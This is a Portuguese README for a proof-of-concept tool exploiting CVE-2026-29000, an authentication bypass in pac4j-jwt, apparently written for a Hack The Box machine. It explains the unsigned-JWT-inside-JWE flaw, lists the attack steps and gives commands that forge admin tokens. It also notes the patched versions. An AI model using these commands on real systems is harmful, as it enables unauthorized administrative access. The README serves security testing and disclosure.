
CVE-2026-29000 - pac4j-jwt (< 4.5.9 / < 5.7.9 / < 6.3.3) PoC de bypass de autenticação do JwtAuthenticator
JwtAuthenticator do pac4j-jwtUma prova de conceito para CVE-2026-29000, um bypass de autenticação no
componente pac4j-jwt JwtAuthenticator
(CVSS 10.0, Crítico).
O script forja um token que se passa por qualquer usuário com qualquer função — sem conhecer um único segredo — desde que o alvo exponha sua chave RSA pública.
[!WARNING] Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. Foi escrita para resolver a máquina Hack The Box "Principal", e os valores padrão (
iss,role,kid) são adaptados para essa máquina. Utilize-a apenas contra sistemas que você possui ou está explicitamente autorizado a testar.
As versões < 4.5.9, < 5.7.9 e < 6.3.3 do pac4j-jwt contêm uma
falha lógica no JwtAuthenticator ao processar JWTs criptografados (JWE).
Quando o JwtAuthenticator descriptografa um JWE, ele tenta interpretar o
token interno como um SignedJWT. Se o token interno for um PlainJWT
não assinado (alg: none), o objeto SignedJWT retorna null e, devido ao
erro lógico, o caminho de verificação de assinatura é completamente ignorado.
O autenticador então constrói um perfil de usuário diretamente a partir das
declarações não verificadas.
Em outras palavras, a criptografia JWE externa — que requer apenas a chave pública do servidor — é confundida como prova de autenticidade, de modo que qualquer atacante que possa ler a chave pública pode cunhar tokens totalmente confiáveis.
/api/auth/jwks).PlainJWT não assinado (alg: none) com declarações
escolhidas pelo atacante (sub, role, iss, …).PlainJWT em um envelope JWE criptografado com a
chave pública do alvo.Bearer. O
JwtAuthenticator vulnerável o descriptografa, pula a verificação de
assinatura e confia nas declarações forjadas.requirements.txt:pip install -r requirements.txt
(requests, jwcrypto, cryptography)
python3 exploit.py -u <username> [options]
| Opção | Descrição | Padrão |
|---|---|---|
-t, --target | URL base do alvo (ex.: http://host:8080) | — |
--jwks-url | Caminho do endpoint JWKS | /api/auth/jwks |
--jwks-file | Carregar JWKS de um arquivo local em vez de buscar de --target | — |
-u, --username | Valor para a declaração sub (obrigatório) | — |
--role | Valor para a declaração role | ROLE_ADMIN |
--iss | Valor para a declaração iss | principal-platform |
--exp | Validade do token em segundos | 3600 |
--verify-endpoint | Endpoint protegido para testar o token forjado (ex.: /api/settings) | — |
-k, --insecure | Desabilitar verificação de certificado TLS | off |
-o, --output | Escrever o JWE forjado em um arquivo em vez da stdout | stdout |
-v, --verbose | Imprimir o payload do JWT forjado na stderr | off |
Você deve fornecer --target (para buscar o JWKS pela rede) ou --jwks-file
(para fornecê-lo localmente).
Forjar um token de administrador buscando a chave pública do alvo e imprimi-lo na stdout:
python3 exploit.py -t http://target:8080 -u admin
Forjar um token e, em seguida, testá-lo automaticamente contra um endpoint protegido:
python3 exploit.py -t http://target:8080 -u admin \
--verify-endpoint /api/settings -v
Usar um JWKS salvo localmente e salvar o token em um arquivo:
python3 exploit.py --jwks-file jwks.json -u admin -o token.jwe
Atualize org.pac4j:pac4j-jwt para uma versão corrigida:
Lançado sob a Licença MIT.